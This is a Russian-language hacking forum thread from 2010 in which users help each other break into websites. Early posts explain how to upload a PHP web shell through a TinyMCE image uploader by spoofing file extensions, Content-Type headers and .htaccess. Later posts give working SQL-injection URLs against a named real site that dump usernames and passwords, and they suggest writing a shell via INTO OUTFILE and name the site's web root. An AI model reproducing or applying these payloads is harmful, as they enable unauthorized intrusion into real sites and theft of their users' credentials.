 |
|
06.07.2010, 00:23
|
|
Участник форума
Регистрация: 15.05.2009
Сообщений: 111
С нами:
8943448
Репутация:
127
|
|
а кто подскажет как залить шелл через tiny_mce редактор?
|
|
|
06.07.2010, 00:42
|
|
Постоянный
Регистрация: 07.11.2007
Сообщений: 392
С нами:
9741777
Репутация:
100
|
|
Попробуй через загрузку картинок.
Я заливал так:
123.gif.php
Там идет фильтрация кривая, не поможет, попробуй поменять.
Например:
123.php.gifs
Или если ооочень повезет, заливай .htaccess с содержимым:
Сообщение от None
AddType application/x-httpd-php jpg
, а затем сам шел переименовый в 123.gif |
|
|
|
06.07.2010, 00:51
|
|
Участник форума
Регистрация: 15.05.2009
Сообщений: 111
С нами:
8943448
Репутация:
127
|
|
Сообщение от Ershik
Попробуй через загрузку картинок.
Я заливал так:
123.gif.php
Там идет фильтрация кривая, не поможет, попробуй поменять.
Например:
123.php.gifs
Или если ооочень повезет, заливай .htaccess с содержимым:
, а затем сам шел переименовый в 123.gif
спасибо попробовал, ни один из вариантов не подошёл
|
|
|
|
06.07.2010, 02:33
|
|
Познавший АНТИЧАТ
Регистрация: 27.08.2007
Сообщений: 1,107
С нами:
9846041
Репутация:
1177
|
|
Сообщение от Bramin
спасибо попробовал, ни один из вариантов не подошёл
Залей просто картинку, посмотри отправляемые пакеты. Смотрим что-то вроде Content-type: image/gif. Потом залей файл shell.gif.php (сам шелл или нужный файл), перехвати пакеты через Temper Data. Найди строку с Content-type: textили как-то так будет и замени на Content-type: image/gif
|
|
|
|
06.07.2010, 02:50
|
|
Постоянный
Регистрация: 09.06.2005
Сообщений: 531
С нами:
11010660
Репутация:
439
|
|
есть скуль на mssql. просмотрел таблицы, нашёл "admin". в ней столбцы типа id, name...
делаю запрос
Код:
http://site.com/site.asp?ID=-1+UNION+ALL+SELECT+1,id+from+admin--
получаю ошибку [ODBC SQL Server Driver][SQL Server]Invalid object name 'admin'.
в чём дело? таблица точно существует. |
|
|
|
06.07.2010, 10:17
|
|
Постоянный
Регистрация: 24.06.2009
Сообщений: 542
С нами:
8885780
Репутация:
672
|
|
Сообщение от BrainDeaD
есть скуль на mssql. просмотрел таблицы, нашёл "admin". в ней столбцы типа id, name...
делаю запрос
Код:
http://site.com/site.asp?ID=-1+UNION+ALL+SELECT+1,id+from+admin--
получаю ошибку [ODBC SQL Server Driver][SQL Server]Invalid object name 'admin'.
в чём дело? таблица точно существует. может быть другая база, Смотри имя базы
а потом select tra,la,la+from+ schema.table
хотя на mssql не проверил
|
|
|
|
06.07.2010, 14:52
|
|
Познающий
Регистрация: 06.03.2007
Сообщений: 59
С нами:
10095779
Репутация:
137
|
|
вот скуль, которая нормально выводит таблици
Сообщение от None
http://www.grovearcade.com/index.php?page=-6+union+select+1,2,3,table_name,5,6,7,version(),9, 0,11,12+from+information_schema.tables--
но когда заглядываеш в сами таблици ничего не выводит
Сообщение от None
http://www.grovearcade.com/index.php?page=-6+union+select+1,2,3,concat_ws(0x3a,user,password) ,5,6,7,8,9,0,11,12+from+user--
при таком запросе ничего не выводит, в чем может быть проблема? |
|
|
|
06.07.2010, 14:56
|
|
Познающий
Регистрация: 17.04.2009
Сообщений: 59
С нами:
8982831
Репутация:
37
|
|
Сообщение от winstrool
вот скуль, которая нормально выводит таблици
но когда заглядываеш в сами таблици ничего не выводит
при таком запросе ничего не выводит, в чем может быть проблема?
На этом сайте не 1 бд. Когда их более 1 нужно указывать откуды выводишь данные.
Вот будет правильно:
Код:
http://www.grovearcade.com/index.php?page=-6+union+select+1,2,3,concat_ws(0x3a,user,password)%20,5,6,7,8,9,0,11,12+from+mysql.user--
|
|
|
|
06.07.2010, 15:00
|
|
Познавший АНТИЧАТ
Регистрация: 31.03.2006
Сообщений: 1,167
С нами:
10585560
Репутация:
1550
|
|
Сообщение от winstrool
вот скуль, которая нормально выводит таблици
но когда заглядываеш в сами таблици ничего не выводит
при таком запросе ничего не выводит, в чем может быть проблема?
http://www.grovearcade.com/index.php?page=-6+UNION+SELECT+1,2,3,(SELECT+CONCAT_WS(0x3a,UserNa me,Password)+FROM+grovearcade.accounts+LIMIT+0,1), 5,6,7,8,9,10,11,12--
и заметь что там юзверь под которым крутится БД , root ...читаются файлы на серванте(Load_file ), попробуй еще INTO+OUTFILE может шелл зальешь если путь абсолютный узнаешь
путь /var/www/html
также есть phpmyadmin но с бейсик авторизацией, но так как файлы читаются..остается прочитать нужный файл....
http://www.grovearcade.com/manager
думаю что шелл практически у тебя в руках..ну и раз выложил сюда скулю..то скоро там шеллов как граблей на огороде будет
|
|
|
|
06.07.2010, 15:09
|
|
Познающий
Регистрация: 17.04.2009
Сообщений: 59
С нами:
8982831
Репутация:
37
|
|
Сообщение от Gorev
http://www.grovearcade.com/index.php?page=-6+UNION+SELECT+1,2,3,(SELECT+CONCAT_WS(0x3a,UserNa me,Password)+FROM+grovearcade.accounts+LIMIT+0,1), 5,6,7,8,9,10,11,12--
и заметь что там юзверь под которым крутится БД , root ...читаются файлы на серванте(Load_file ), попробуй еще INTO+OUTFILE может шелл зальешь если путь абсолютный узнаешь
путь /var/www/html
также есть phpmyadmin но с бейсик авторизацией, но так как файлы читаются..остается прочитать нужный файл....
Через эту скулю шелл не зальётся, она ковычки не экранирует.
|
|
|
|
|
|
|
|
Здесь присутствуют: 2 (пользователей: 0 , гостей: 2)
|
|
|
|
Похожие темы
Линейный вид
